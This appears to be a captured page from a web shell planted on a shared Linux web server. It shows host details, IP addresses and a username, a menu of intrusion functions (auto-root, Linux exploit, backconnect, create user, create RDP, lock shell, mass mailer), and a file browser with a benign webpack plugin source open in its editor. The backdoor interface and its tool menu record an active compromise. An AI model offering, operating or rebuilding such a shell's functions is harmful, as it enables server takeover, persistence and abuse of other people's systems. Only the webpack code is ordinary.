Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
webpack /
lib /
optimize /
[ HOME SHELL ]
Name
Size
Permission
Action
AggressiveMergingPlugin.js
2.02
KB
-rw-r--r--
AggressiveSplittingPlugin.js
9.14
KB
-rw-r--r--
ChunkModuleIdRangePlugin.js
1.55
KB
-rw-r--r--
ConcatenatedModule.js
36.82
KB
-rw-r--r--
EnsureChunkConditionsPlugin.js
2.01
KB
-rw-r--r--
FlagIncludedChunksPlugin.js
3.14
KB
-rw-r--r--
LimitChunkCountPlugin.js
7.42
KB
-rw-r--r--
MergeDuplicateChunksPlugin.js
2.43
KB
-rw-r--r--
MinChunkSizePlugin.js
2.53
KB
-rw-r--r--
MinMaxSizeWarning.js
819
B
-rw-r--r--
ModuleConcatenationPlugin.js
14.49
KB
-rw-r--r--
NaturalChunkOrderPlugin.js
1.1
KB
-rw-r--r--
OccurrenceChunkOrderPlugin.js
2.01
KB
-rw-r--r--
OccurrenceModuleOrderPlugin.js
3.27
KB
-rw-r--r--
OccurrenceOrderPlugin.js
3.9
KB
-rw-r--r--
RemoveEmptyChunksPlugin.js
990
B
-rw-r--r--
RemoveParentModulesPlugin.js
3.61
KB
-rw-r--r--
RuntimeChunkPlugin.js
1.04
KB
-rw-r--r--
SideEffectsFlagPlugin.js
5.14
KB
-rw-r--r--
SplitChunksPlugin.js
28.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RemoveParentModulesPlugin.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const Queue = require("../util/Queue"); const { intersect } = require("../util/SetHelpers"); const getParentChunksWithModule = (currentChunk, module) => { const chunks = []; const stack = new Set(currentChunk.parentsIterable); for (const chunk of stack) { if (chunk.containsModule(module)) { chunks.push(chunk); } else { for (const parent of chunk.parentsIterable) { stack.add(parent); } } } return chunks; }; class RemoveParentModulesPlugin { apply(compiler) { compiler.hooks.compilation.tap("RemoveParentModulesPlugin", compilation => { const handler = (chunks, chunkGroups) => { const queue = new Queue(); const availableModulesMap = new WeakMap(); for (const chunkGroup of compilation.entrypoints.values()) { // initialize available modules for chunks without parents availableModulesMap.set(chunkGroup, new Set()); for (const child of chunkGroup.childrenIterable) { queue.enqueue(child); } } while (queue.length > 0) { const chunkGroup = queue.dequeue(); let availableModules = availableModulesMap.get(chunkGroup); let changed = false; for (const parent of chunkGroup.parentsIterable) { const availableModulesInParent = availableModulesMap.get(parent); if (availableModulesInParent !== undefined) { // If we know the available modules in parent: process these if (availableModules === undefined) { // if we have not own info yet: create new entry availableModules = new Set(availableModulesInParent); for (const chunk of parent.chunks) { for (const m of chunk.modulesIterable) { availableModules.add(m); } } availableModulesMap.set(chunkGroup, availableModules); changed = true; } else { for (const m of availableModules) { if ( !parent.containsModule(m) && !availableModulesInParent.has(m) ) { availableModules.delete(m); changed = true; } } } } } if (changed) { // if something changed: enqueue our children for (const child of chunkGroup.childrenIterable) { queue.enqueue(child); } } } // now we have available modules for every chunk for (const chunk of chunks) { const availableModulesSets = Array.from( chunk.groupsIterable, chunkGroup => availableModulesMap.get(chunkGroup) ); if (availableModulesSets.some(s => s === undefined)) continue; // No info about this chunk group const availableModules = availableModulesSets.length === 1 ? availableModulesSets[0] : intersect(availableModulesSets); const numberOfModules = chunk.getNumberOfModules(); const toRemove = new Set(); if (numberOfModules < availableModules.size) { for (const m of chunk.modulesIterable) { if (availableModules.has(m)) { toRemove.add(m); } } } else { for (const m of availableModules) { if (chunk.containsModule(m)) { toRemove.add(m); } } } for (const module of toRemove) { module.rewriteChunkInReasons( chunk, getParentChunksWithModule(chunk, module) ); chunk.removeModule(module); } } }; compilation.hooks.optimizeChunksBasic.tap( "RemoveParentModulesPlugin", handler ); compilation.hooks.optimizeExtractedChunksBasic.tap( "RemoveParentModulesPlugin", handler ); }); } } module.exports = RemoveParentModulesPlugin;
Close